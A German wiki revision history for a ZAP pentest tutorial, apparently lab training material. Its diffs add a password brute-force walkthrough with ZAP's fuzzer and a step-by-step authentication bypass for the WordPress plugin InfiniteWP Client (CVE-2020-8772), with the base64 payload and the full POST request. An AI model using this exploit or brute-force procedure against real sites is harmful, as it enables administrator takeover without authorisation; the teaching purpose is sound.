Zap - Versionsgeschichte

Thomas.will am 12. September 2026 um 09:52 Uhr

2026-09-12T09:52:44Z

Thomas.will am 12. September 2026 um 09:35 Uhr

2026-09-12T09:35:57Z

Änderungen zeigen

Thomas.will am 12. September 2026 um 09:30 Uhr

2026-09-12T09:30:55Z

Thomas.will: /* Erfolg erkennen */

2026-09-12T09:30:36Z

Erfolg erkennen

Thomas.will: /* ZAP starten und Browser oeffnen */

2026-09-12T09:26:37Z

ZAP starten und Browser oeffnen

Thomas.will: /* Zap Installation */

2026-09-12T09:20:19Z

Zap Installation

Thomas.will am 12. September 2026 um 09:13 Uhr

2026-09-12T09:13:24Z

Thomas.will: /* Zap Installation */

2026-09-12T09:11:27Z

Zap Installation

Thomas.will am 12. September 2026 um 09:10 Uhr

2026-09-12T09:10:52Z

Thomas.will am 12. September 2026 um 09:08 Uhr

2026-09-12T09:08:17Z

← Nächstältere Version		Version vom 12. September 2026, 09:52 Uhr
Zeile 336:		Zeile 336:
	*Für nicht-triviale Scans (Login, eigene Policy, mehrere Reports) auf das Automation Framework wechseln		*Für nicht-triviale Scans (Login, eigene Policy, mehrere Reports) auf das Automation Framework wechseln
	*Der Quick-Scan greift das Ziel aktiv an - nur gegen Systeme laufen lassen, für die eine Freigabe vorliegt		*Der Quick-Scan greift das Ziel aktiv an - nur gegen Systeme laufen lassen, für die eine Freigabe vorliegt
		+	=ZAP Authentication Bypass Wordpress=
		+	==Anforderungen==
		+	Das Ziel muss das WordPress-Plugin "InfiniteWP Client" in einer Version kleiner als 1.9.4.5 installiert haben.
		+
		+	{{Hinweis\|Das Plugin kann auch in einer Version kleiner als 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.}}
		+
		+	===Plugin-Version ermitteln===
		+	*Greenbone-Scan durchführen
		+	*wpscan durchführen
		+
		+	===Weitere Voraussetzungen===
		+	*Der Angreifer muss den Benutzernamen des Admins kennen.
		+	*Der Benutzername "admin" ist bei Standard-WordPress-Installationen häufig gesetzt und kann per wpscan oder Greenbone-Fund bestätigt werden.
		+
		+	==Funktionsweise der Schwachstelle==
		+	Das Plugin prüft bei bestimmten Aktionen nicht, ob der Aufrufer authentifiziert ist. Stattdessen wertet es einen POST-Parameter aus, der eine base64-kodierte JSON-Struktur mit dem Präfix <code>_IWP_JSON_PREFIX_</code> enthält. Enthält dieser Parameter einen gültigen Admin-Benutzernamen, meldet das Plugin den Benutzer ohne Passwortprüfung an. Der Angriff besteht also darin, einen solchen Parameter in einen POST-Request an die WordPress-Startseite einzuschleusen.
		+
		+	==Payload erstellen==
		+	===Warum Base64-Kodierung?===
		+	Das Plugin erwartet die Nutzdaten base64-kodiert. Hintergrund: [[Base64 Kodierung]]
		+
		+	===JSON-Struktur===
		+	Die Nutzdaten bestehen aus einem JSON-Objekt mit der Aktion und dem Zielbenutzernamen:
		+
		+	<pre>
		+	{"iwp_action":"add_site","params":{"username":"admin"}}
		+	</pre>
		+
		+	===In Base64 umwandeln===
		+	<pre>
		+	echo '{"iwp_action":"add_site","params":{"username":"admin"}}' \| base64 -w0
		+	</pre>
		+
		+	Ergebnis:
		+	<pre>
		+	eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
		+	</pre>
		+
		+	===Fertiger Payload===
		+	Den base64-String an den Präfix anhängen - kein Leerzeichen dazwischen:
		+
		+	<pre>
		+	_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
		+	</pre>
		+
		+	==Angriff mit ZAP==
		+	Das Gegenstück zu Burps Intercept ist in ZAP die Break-Funktion. Ein abgefangener Request landet im "Break"-Tab und kann dort direkt bearbeitet werden.
		+
		+	===ZAP starten und Browser öffnen===
		+	*Manual Explore
		+	**Launch Browser
		+	:''Der Browser läuft über den ZAP-Proxy; das ZAP-Zertifikat ist bereits importiert.''
		+
		+	===Break aktivieren===
		+	*In der ZAP-Werkzeugleiste auf das Break-Symbol klicken (roter Kreis) oder Strg+B drücken
		+	:''Break ist jetzt aktiv - ZAP hält den nächsten Request an, bevor er das Ziel erreicht.''
		+
		+	===Opfer-Website aufrufen===
		+	Im ZAP-Browser zur WordPress-Startseite navigieren:
		+	*http://wordpress.secure.local
		+
		+	Der abgefangene GET-Request erscheint im "Break"-Tab.
		+
		+	===Request von GET auf POST umstellen===
		+	Im Break-Tab den Request direkt bearbeiten:
		+	;Erste Zeile von <code>GET / HTTP/1.1</code> auf <code>POST / HTTP/1.1</code> ändern
		+	;Unterhalb der bestehenden Header eine Leerzeile lassen und dann den Payload eintragen:
		+
		+	<pre>
		+	POST / HTTP/1.1
		+	Host: wordpress.secure.local
		+	Upgrade-Insecure-Requests: 1
		+	Content-Type: application/x-www-form-urlencoded
		+	Content-Length: 0
		+
		+	_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
		+	</pre>
		+
		+	{{Hinweis\|ZAP passt die Content-Length beim Absenden nicht automatisch an, wenn man den Body manuell einträgt. Den Wert daher selbst auf die tatsächliche Byte-Länge des Payloads setzen oder nach dem Eintragen prüfen.}}
		+
		+	===Request absenden===
		+	*Im Break-Tab auf "Submit" (Pfeil-Symbol) klicken
		+	:''Der manipulierte POST-Request wird an das Ziel weitergeleitet.''
		+
		+	===Break deaktivieren===
		+	*Erneut auf das Break-Symbol klicken oder Strg+B drücken
		+	:''Weitere Requests laufen jetzt wieder ungehalten durch.''
		+
		+	===Opfer-Website neu laden===
		+	Im ZAP-Browser die WordPress-Seite neu laden.
		+
		+	==Resultat==
		+	Die WordPress-Seite lädt nun mit der Admin-Leiste am oberen Rand - "Willkommen, admin" ist rechts oben sichtbar. Der Angreifer ist ohne Passwort als Administrator angemeldet.
		+
		+	==CVE==
		+	*CVE-2020-8772
		+
		+	==Links==
		+	*[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass - Pentester Academy]

← Nächstältere Version		Version vom 12. September 2026, 09:30 Uhr
Zeile 350:		Zeile 350:
	</syntaxhighlight>		</syntaxhighlight>
	:''Das Script im Fuzzer unter Message Processors einhaengen. Bei einem Treffer erscheint in einer eigenen Spalte der Wert JA.''		:''Das Script im Fuzzer unter Message Processors einhaengen. Bei einem Treffer erscheint in einer eigenen Spalte der Wert JA.''
−
−	*[[zap allgemein]]
−	*[[zap installation]]
−	*[[zap automatischer scan]]
−	*[[zap mit anderem Browser]]
−	*[[zap manueller scan]]
−	*[[zap xml für faraday]]
−	*[[zap cli scans]]

@@ Zeile 263: / Zeile 263: @@
 *In der Ergebnisliste nach der Spalte '''Size Resp. Body''' sortieren
 :''Der Treffer faellt durch die abweichende Laenge sofort auf. Diese Spalte entspricht Burps "Length".''
 ==Angriff starten==

@@ Zeile 145: / Zeile 145: @@
 **Launch Browser
 :''Es oeffnet sich ein Browser, dessen Verkehr komplett ueber ZAP laeuft.''
 ==Opfer aufrufen==

@@ Zeile 24: / Zeile 24: @@
 =Zap Installation=
 *apt install zaproxy
 =Zap Brute Force=

← Nächstältere Version		Version vom 12. September 2026, 09:13 Uhr
Zeile 1:		Zeile 1:
	=Zap Grundlagen=		=Zap Grundlagen=
		+	==Einleitung==
		+	ZAP (kurz fuer Zed Attack Proxy) ist ein quelloffener Sicherheitsscanner fuer Webanwendungen. Frueher lief das Projekt als OWASP ZAP unter dem Dach des Open Web Application Security Project (OWASP). Das ist nicht mehr aktuell: ZAP hat OWASP 2023 verlassen und ist zum Software Security Project (unter der Linux Foundation) gewechselt, um die Finanzierung der Weiterentwicklung zu sichern. Seit September 2024 sind die Hauptentwickler bei Checkmarx angestellt, das Projekt wird seitdem als "ZAP by Checkmarx" gefuehrt. Es bleibt dabei quelloffen, community-gesteuert und kostenlos - eine kommerzielle "Pro"-Version wie bei Burp Suite gibt es nicht.
		+
		+	*Es ist sowohl fuer Einsteiger in die Anwendungssicherheit als auch fuer professionelle Penetrationstester gedacht.
		+	*Als Proxy-Server eingesetzt ermoeglicht es, den gesamten durchlaufenden Datenverkehr zu manipulieren - auch Verkehr, der ueber HTTPS verschluesselt ist.
		+	*Es kann zusaetzlich in einem Daemon-Modus laufen und wird dann ueber eine REST-API gesteuert.
		+	*ZAP wurde urspruenglich von Paros abgezweigt, einem aelteren Pentesting-Proxy.
		+	*Es wird unter der Apache-Lizenz veroeffentlicht.
		+
		+	Einige der integrierten Funktionen:
		+	*abfangender Proxy-Server (Intercepting Proxy)
		+	*traditionelle und AJAX-Webcrawler
		+	*automatisierter (aktiver) Scanner
		+	*passiver Scanner
		+	*erzwungenes Browsing (Forced Browsing)
		+	*Fuzzer
		+	*WebSocket-Unterstuetzung
		+	*Skriptsprachen
		+	*Plug-n-Hack-Unterstuetzung
		+
		+	*Es verfuegt ueber eine Plugin-basierte Architektur mit einem Online-Marktplatz (ZAP Marketplace), ueber den sich neue oder aktualisierte Funktionen nachinstallieren lassen.

	=Zap Installation=		=Zap Installation=

← Nächstältere Version		Version vom 12. September 2026, 09:11 Uhr
Zeile 2:		Zeile 2:

	=Zap Installation=		=Zap Installation=
		+	*apt install zaproxy

	=Zap Brute Force=		=Zap Brute Force=

@@ Zeile 5: / Zeile 5: @@
 =Zap Brute Force=
 ==Passwort liste laden==
 *wget https://www.xinux.de/downloads/bad-passwords
-==ZAP==
+==ZAP starten und Browser oeffnen==
 *Manual Explore
 **Launch Browser
-:''ZAP faengt standardmaessig nicht ab (Break aus) - kein Interception-Umschalten noetig. Der Browser startet mit gesetztem Proxy und importiertem ZAP-Zertifikat.''
+:''Es oeffnet sich ein Browser, dessen Verkehr komplett ueber ZAP laeuft.''
-==Opfer==
+==Opfer aufrufen==
 *http://opfer.sec-labs.de/scripts/login-simple.php
 **Login Simple
-==User eingeben==
+==Testlogin absenden==
 *User: xinux
 *Password: sux
-==ZAP==
+==Request in den Fuzzer schicken==
 *History (unten)
 **POST-Paket mit Params auswaehlen
-[[Datei:Zap-11.png]]
+*Rechte Maustaste auf den Request
 **Attack
 ***Fuzz...
-==Fuzzer==
+==Payload-Position markieren==
-===Payload-Position markieren===
+Im Fuzzer-Fenster wird der Request angezeigt. Statt wie bei Burp alle automatischen Positionen zu loeschen, wird die Position direkt durch Markieren gesetzt.
-;Im Request den Wert sux markieren
+;Im Request-Text den Passwort-Wert sux mit der Maus markieren
-;Add... druecken
+;Rechts auf Add... klicken
-:''Die Position wird durch Markieren gesetzt - kein "Clear" wie bei Burp noetig.''
+:''Die markierte Stelle wird zur Fuzz-Position. Ein vorheriges "Clear" wie bei Burp ist nicht noetig.''
-==Payloads==
+==Payloads laden==
-;Add...
+Jetzt wird der markierten Position die Passwortliste als Payload-Quelle zugewiesen.
-;Type: File -> bad-passwords laden
+;Im Payloads-Dialog auf Add... klicken
-:''Alternativ Type: Strings (= Burps "Simple list"), Eintraege untereinander einfuegen.''
+;Type: File waehlen und die Datei bad-passwords laden
-[[Datei:Zap-13.png]]
+:''Alternativ Type: Strings - das entspricht Burps "Simple list", bei der die Eintraege direkt untereinander eingefuegt werden.''
 ==Erfolg erkennen==
 *Fuzzer starten
-*In der Ergebnisliste nach Spalte '''Size Resp. Body''' sortieren
+*In der Ergebnisliste nach der Spalte '''Size Resp. Body''' sortieren
-:''Der erfolgreiche Login faellt durch abweichende Laenge sofort auf (entspricht Burps "Length").''
+:''Der Treffer faellt durch die abweichende Laenge sofort auf. Diese Spalte entspricht Burps "Length".''
-==Start==
+==Angriff starten==
-*Start Fuzzer
+*Start Fuzzer druecken
-[[Datei:Zap-15.png]]
+:''ZAP arbeitet die komplette Passwortliste ab. Die Content-Length muss nicht angepasst werden - ZAP korrigiert sie beim Fuzzen automatisch. Die Anzahl paralleler Threads laesst sich im Fuzzer unter Options einstellen.''
-==Optional: auf String "Hallo" flaggen==
+==Optional: automatisch auf einen Text in der Antwort pruefen==
-;Fuzzer HTTP Processor-Script (Skripting-Add-on)
+Wer den Treffer nicht ueber die Groesse, sondern ueber einen bestimmten Text in der erfolgreichen Antwort (z.B. das Wort Hallo) erkennen will, kann ein kleines Processor-Script einhaengen. Es benoetigt das Skripting-Add-on, das in ZAP kostenlos enthalten ist.
 <syntaxhighlight lang="javascript">
 function processResult(utils, fuzzResult) {
@@ Zeile 62: / Zeile 68: @@
+}
 </syntaxhighlight>
-:''Im Fuzzer unter Message Processors einhaengen; Treffer erscheint als eigene Spalte.''
+:''Das Script im Fuzzer unter Message Processors einhaengen. Bei einem Treffer erscheint in einer eigenen Spalte der Wert JA.''
 *[[zap allgemein]]

← Nächstältere Version		Version vom 12. September 2026, 09:08 Uhr
Zeile 1:		Zeile 1:
		+	=Zap Grundlagen=
		+
		+	=Zap Installation=
		+
		+	=Zap Brute Force=
		+	==Passwort liste laden==
		+	*wget https://www.xinux.de/downloads/bad-passwords
		+
		+	==ZAP==
		+	*Manual Explore
		+	**Launch Browser
		+	:''ZAP faengt standardmaessig nicht ab (Break aus) - kein Interception-Umschalten noetig. Der Browser startet mit gesetztem Proxy und importiertem ZAP-Zertifikat.''
		+
		+	==Opfer==
		+	*http://opfer.sec-labs.de/scripts/login-simple.php
		+	**Login Simple
		+
		+	==User eingeben==
		+	*User: xinux
		+	*Password: sux
		+
		+	==ZAP==
		+	*History (unten)
		+	**POST-Paket mit Params auswaehlen
		+	[[Datei:Zap-11.png]]
		+	*Rechte Maustaste
		+	**Attack
		+	***Fuzz...
		+
		+	==Fuzzer==
		+	===Payload-Position markieren===
		+	;Im Request den Wert sux markieren
		+	;Add... druecken
		+	:''Die Position wird durch Markieren gesetzt - kein "Clear" wie bei Burp noetig.''
		+	[[Datei:Zap-12.png]]
		+
		+	==Payloads==
		+	;Add...
		+	;Type: File -> bad-passwords laden
		+	:''Alternativ Type: Strings (= Burps "Simple list"), Eintraege untereinander einfuegen.''
		+	[[Datei:Zap-13.png]]
		+
		+	==Erfolg erkennen==
		+	*Fuzzer starten
		+	*In der Ergebnisliste nach Spalte '''Size Resp. Body''' sortieren
		+	:''Der erfolgreiche Login faellt durch abweichende Laenge sofort auf (entspricht Burps "Length").''
		+	[[Datei:Zap-14.png]]
		+
		+	==Start==
		+	*Start Fuzzer
		+	[[Datei:Zap-15.png]]
		+
		+	==Optional: auf String "Hallo" flaggen==
		+	;Fuzzer HTTP Processor-Script (Skripting-Add-on)
		+	<syntaxhighlight lang="javascript">
		+	function processResult(utils, fuzzResult) {
		+	var body = fuzzResult.getHttpMessage().getResponseBody().toString();
		+	if (body.indexOf("Hallo") > -1) {
		+	fuzzResult.addCustomState("Treffer", "JA");
		+	}
		+	return true;
		+	}
		+	</syntaxhighlight>
		+	:''Im Fuzzer unter Message Processors einhaengen; Treffer erscheint als eigene Spalte.''
		+
		+
	*[[zap allgemein]]		*[[zap allgemein]]
	*[[zap installation]]		*[[zap installation]]